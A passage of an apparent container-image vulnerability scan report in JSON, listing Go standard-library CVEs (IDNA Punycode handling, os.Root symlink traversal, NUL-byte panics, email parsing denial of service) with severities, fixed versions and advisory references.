{ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22112", "https://access.redhat.com/errata/RHSA-2026:22120", "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:33120", "https://access.redhat.com/errata/RHSA-2026:33123", "https://access.redhat.com/errata/RHSA-2026:33142", "https://access.redhat.com/errata/RHSA-2026:33150", "https://access.redhat.com/errata/RHSA-2026:33574", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36754", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:50336", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51112", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54552", "https://access.redhat.com/errata/RHSA-2026:54555", "https://access.redhat.com/errata/RHSA-2026:54583", "https://access.redhat.com/errata/RHSA-2026:54602", "https://access.redhat.com/errata/RHSA-2026:54883", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56789", "https://access.redhat.com/errata/RHSA-2026:56852", "https://access.redhat.com/errata/RHSA-2026:56854", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57401", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57487", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:57914", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59830", "https://access.redhat.com/errata/RHSA-2026:59833", "https://access.redhat.com/errata/RHSA-2026:60018", "https://access.redhat.com/errata/RHSA-2026:60023", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62260", "https://access.redhat.com/errata/RHSA-2026:62406", "https://access.redhat.com/errata/RHSA-2026:62407", "https://access.redhat.com/errata/RHSA-2026:62753", "https://access.redhat.com/errata/RHSA-2026:62754", "https://access.redhat.com/errata/RHSA-2026:62803", "https://access.redhat.com/errata/RHSA-2026:63022", "https://access.redhat.com/errata/RHSA-2026:65116", "https://access.redhat.com/errata/RHSA-2026:65117", "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65335", "https://access.redhat.com/errata/RHSA-2026:65336", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65838", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:65895", "https://access.redhat.com/errata/RHSA-2026:66016", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66327", "https://access.redhat.com/errata/RHSA-2026:67517", "https://access.redhat.com/errata/RHSA-2026:67974", "https://access.redhat.com/errata/RHSA-2026:67975", "https://access.redhat.com/errata/RHSA-2026:68334", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/errata/RHSA-2026:68527", "https://access.redhat.com/security/cve/CVE-2026-39820", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/759940", "https://go.dev/issue/78566", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-39820.html", "https://linux.oracle.com/errata/ELSA-2026-65895-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39820", "https://pkg.go.dev/vuln/GO-2026-4986", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39820.json", "https://www.cve.org/CVERecord?id=CVE-2026-39820" ], "PublishedDate": "2026-05-07T20:16:43.187Z", "LastModifiedDate": "2026-10-26T00:10:00.15Z" }, { "VulnerabilityID": "CVE-2026-39821", "VendorIDs": [ "GO-2026-5026" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39821", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:f44a3cf2be729b19506b597b40fdd0188b84032c0f52a730a87807bbecdc132e", "Title": "golang.org/x/net/idna: golang: net/http: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing", "Description": "The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode(\"xn--example-.com\") incorrectly returns the name \"example.com\" rather than an error. This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject \"example.com\" but permit \"xn--example-.com\". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name \"example.com\".", "Severity": "HIGH", "CweIDs": [ "CWE-1289" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:30650", "https://access.redhat.com/errata/RHSA-2026:30651", "https://access.redhat.com/errata/RHSA-2026:30853", "https://access.redhat.com/errata/RHSA-2026:30854", "https://access.redhat.com/errata/RHSA-2026:30855", "https://access.redhat.com/errata/RHSA-2026:33155", "https://access.redhat.com/errata/RHSA-2026:33160", "https://access.redhat.com/errata/RHSA-2026:33163", "https://access.redhat.com/errata/RHSA-2026:33173", "https://access.redhat.com/errata/RHSA-2026:33183", "https://access.redhat.com/errata/RHSA-2026:33524", "https://access.redhat.com/errata/RHSA-2026:33531", "https://access.redhat.com/errata/RHSA-2026:34342", "https://access.redhat.com/errata/RHSA-2026:34357", "https://access.redhat.com/errata/RHSA-2026:34359", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:34789", "https://access.redhat.com/errata/RHSA-2026:35826", "https://access.redhat.com/errata/RHSA-2026:35827", "https://access.redhat.com/errata/RHSA-2026:35828", "https://access.redhat.com/errata/RHSA-2026:35829", "https://access.redhat.com/errata/RHSA-2026:35830", "https://access.redhat.com/errata/RHSA-2026:35831", "https://access.redhat.com/errata/RHSA-2026:35993", "https://access.redhat.com/errata/RHSA-2026:35994", "https://access.redhat.com/errata/RHSA-2026:36105", "https://access.redhat.com/errata/RHSA-2026:36167", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:36820", "https://access.redhat.com/errata/RHSA-2026:36883", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:37435", "https://access.redhat.com/errata/RHSA-2026:37436", "https://access.redhat.com/errata/RHSA-2026:38995", "https://access.redhat.com/errata/RHSA-2026:39005", "https://access.redhat.com/errata/RHSA-2026:39573", "https://access.redhat.com/errata/RHSA-2026:39879", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41030", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:41930", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42048", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:42078", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42080", "https://access.redhat.com/errata/RHSA-2026:42082", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42142", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:42240", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:42852", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:44622", "https://access.redhat.com/errata/RHSA-2026:44624", "https://access.redhat.com/errata/RHSA-2026:46395", "https://access.redhat.com/errata/RHSA-2026:47149", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51112", "https://access.redhat.com/errata/RHSA-2026:51187", "https://access.redhat.com/errata/RHSA-2026:51194", "https://access.redhat.com/errata/RHSA-2026:51341", "https://access.redhat.com/errata/RHSA-2026:52826", "https://access.redhat.com/errata/RHSA-2026:53374", "https://access.redhat.com/errata/RHSA-2026:53412", "https://access.redhat.com/errata/RHSA-2026:53413", "https://access.redhat.com/errata/RHSA-2026:53415", "https://access.redhat.com/errata/RHSA-2026:53530", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54395", "https://access.redhat.com/errata/RHSA-2026:54401", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54441", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54580", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:56143", "https://access.redhat.com/errata/RHSA-2026:56223", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56431", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57541", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:59546", "https://access.redhat.com/errata/RHSA-2026:59549", "https://access.redhat.com/errata/RHSA-2026:59562", "https://access.redhat.com/errata/RHSA-2026:60315", "https://access.redhat.com/errata/RHSA-2026:60354", "https://access.redhat.com/errata/RHSA-2026:60387", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61245", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62549", "https://access.redhat.com/errata/RHSA-2026:63134", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65359", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65851", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:66016", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66350", "https://access.redhat.com/errata/RHSA-2026:66432", "https://access.redhat.com/errata/RHSA-2026:67149", "https://access.redhat.com/errata/RHSA-2026:67159", "https://access.redhat.com/errata/RHSA-2026:67160", "https://access.redhat.com/errata/RHSA-2026:67287", "https://access.redhat.com/errata/RHSA-2026:67319", "https://access.redhat.com/errata/RHSA-2026:67517", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/security/cve/CVE-2026-39821", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/767220", "https://go.dev/issue/78760", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://groups.google.com/g/golang-announce/c/iI-mYSI0lu8", "https://linux.oracle.com/cve/CVE-2026-39821.html", "https://linux.oracle.com/errata/ELSA-2026-66432-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39821", "https://pkg.go.dev/vuln/GO-2026-5026", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39821.json", "https://ubuntu.com/security/notices/USN-8416-1", "https://ubuntu.com/security/notices/USN-8883-1", "https://ubuntu.com/security/notices/USN-8883-2", "https://ubuntu.com/security/notices/USN-8900-1", "https://ubuntu.com/security/notices/USN-8914-1", "https://www.cve.org/CVERecord?id=CVE-2026-39821" ], "PublishedDate": "2026-05-22T16:16:20.41Z", "LastModifiedDate": "2026-09-17T12:18:05.767Z" }, { "VulnerabilityID": "CVE-2026-39822", "VendorIDs": [ "GO-2026-4970" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.12, 1.26.5, 1.27.0-rc.2", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39822", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:121b41f157781d698d7926bdb35a38098071befa22ca6e104d4e2f1203446dab", "Title": "golang: Go os.Root: Symlink following vulnerability allows directory traversal", "Description": "On Unix systems, opening a file in an os.Root improperly follows symlinks to locations outside of the Root when the final path component of the a path is a symbolic link and the path ends in /. For example, 'root.Open(\"symlink/\")' will open \"symlink\" even when \"symlink\" is a symbolic link pointing outside of the root.", "Severity": "HIGH", "CweIDs": [ "CWE-61" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:38878", "https://access.redhat.com/security/cve/CVE-2026-39822", "https://bugzilla.redhat.com/2498152", "https://bugzilla.redhat.com/show_bug.cgi?id=2498152", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39822", "https://errata.almalinux.org/9/ALSA-2026-38878.html", "https://errata.rockylinux.org/RLSA-2026:38878", "https://github.com/golang/go/issues/79005", "https://go.dev/cl/797880", "https://go.dev/issue/79005", "https://groups.google.com/g/golang-announce/c/OrmQE_Yp5Sc", "https://linux.oracle.com/cve/CVE-2026-39822.html", "https://linux.oracle.com/errata/ELSA-2026-38995.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39822", "https://pkg.go.dev/vuln/GO-2026-4970", "https://www.cve.org/CVERecord?id=CVE-2026-39822" ], "PublishedDate": "2026-07-08T17:17:21.31Z", "LastModifiedDate": "2026-10-25T17:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-39836", "VendorIDs": [ "GO-2026-4971" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39836", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:f67c0b87e5fdf1c1c76ecce0ce951e97bba83e83b8104287d642b486696592ca", "Title": "net: golang: Go net package: Denial of Service via NUL byte in Dial and LookupPort on Windows", "Description": "The Dial and LookupPort functions panic on Windows when provided with an input containing a NUL (0).", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/security/cve/CVE-2026-39836", "https://bugzilla.redhat.com/2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467810", "https://bugzilla.redhat.com/show_bug.cgi?id=2467811", "https://bugzilla.redhat.com/show_bug.cgi?id=2467813", "https://bugzilla.redhat.com/show_bug.cgi?id=2467815", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467823", "https://bugzilla.redhat.com/show_bug.cgi?id=2467825", "https://bugzilla.redhat.com/show_bug.cgi?id=2467826", "https://bugzilla.redhat.com/show_bug.cgi?id=2467827", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33814", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39819", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39825", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39826", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39836", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42501", "https://errata.almalinux.org/9/ALSA-2026-22121.html", "https://errata.rockylinux.org/RLSA-2026:22121", "https://go.dev/cl/775320", "https://go.dev/issue/79006", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-39836.html", "https://linux.oracle.com/errata/ELSA-2026-22121.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39836", "https://pkg.go.dev/vuln/GO-2026-4971", "https://www.cve.org/CVERecord?id=CVE-2026-39836" ], "PublishedDate": "2026-05-07T20:16:43.593Z", "LastModifiedDate": "2026-10-26T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-42499", "VendorIDs": [ "GO-2026-4977" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42499", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:e7a08c5782439ce4620af505aa6c26fa34b114e2618b333ae9be66f29604be25", "Title": "net/mail: golang: net/mail: Denial of Service via pathological email address parsing", "Description": "Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322.", "Severity": "HIGH", "CweIDs": [ "CWE-1046" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:17713", "https://access.redhat.com/errata/RHSA-2026:17714", "https://access.redhat.com/errata/RHSA-2026:22112", "https://access.redhat.com/errata/RHSA-2026:22120", "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/errata/RHSA-2026:33120", "https://access.redhat.com/errata/RHSA-2026:33123", "https://access.redhat.com/errata/RHSA-2026:33142", "https://access.redhat.com/errata/RHSA-2026:33150", "https://access.redhat.com/errata/RHSA-2026:33574", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36754", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:50336", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", 